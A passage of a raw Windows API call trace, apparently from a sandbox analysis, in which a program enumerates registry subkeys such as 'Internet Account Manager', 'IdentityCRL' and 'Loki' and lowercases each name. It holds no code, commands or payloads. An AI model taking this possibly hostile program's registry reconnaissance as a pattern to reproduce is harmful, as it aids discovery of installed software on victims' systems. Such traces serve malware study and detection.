(HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.779] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.779] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.779] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.780] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x233b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0026.780] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.780] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x233c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0026.780] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.780] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.780] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.780] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.780] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x233b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0026.780] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.780] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x233c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0026.780] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.780] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.780] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.780] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.780] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x233b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0026.780] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.780] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x233c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0026.780] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.780] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.780] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.780] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.780] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0x233b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0026.780] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.780] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x233c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0026.780] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.780] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.780] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.780] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.781] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0x233b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0026.781] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.781] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x233c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0026.781] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.781] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.781] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.781] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.781] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0x233b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0026.781] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.781] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x233c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0026.781] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.781] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.781] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.781] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.781] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0x233b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0026.781] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.781] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x233c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0026.781] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.781] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.781] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.781] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.781] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0x233b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0026.781] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.781] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x233c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0026.781] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.781] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.781] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.781] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.782] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0x233b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0026.782] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.782] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x233c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0026.782] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.782] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.782] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.782] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.782] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0x233b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0026.782] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0026.782] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x233c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0026.782] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.782] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.782] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.782] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.782] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0x233b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0026.782] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.782] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x233c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0026.782] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.782] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.782] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.782] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.782] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0x233b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0026.782] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.782] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x233c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0026.782] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.783] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.783] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.783] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.783] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0x233b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0026.783] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.783] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x233c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0026.783] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.783] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.783] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.783] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.783] RegEnumKeyW (in: hKey=0x38, dwIndex=0x32, lpName=0x233b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0026.783] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.783] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x233c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0026.783] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0x233b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0026.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0026.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x233c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0026.783] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0x233b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0026.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x233c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0026.784] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0x233b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x233c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0026.784] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0x233b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x233c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0026.784] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0x233b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x233c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0026.784] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0x233b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x233c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0026.784] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0x233b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x233c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0026.784] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0x233b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x233c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0026.784] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0x233b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x233c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0026.784] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0x233b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x233c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0026.785] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0x233b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x233c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0026.785] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0x233b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0026.785] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0x233b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x233c0d8, cbMultiByte=11, 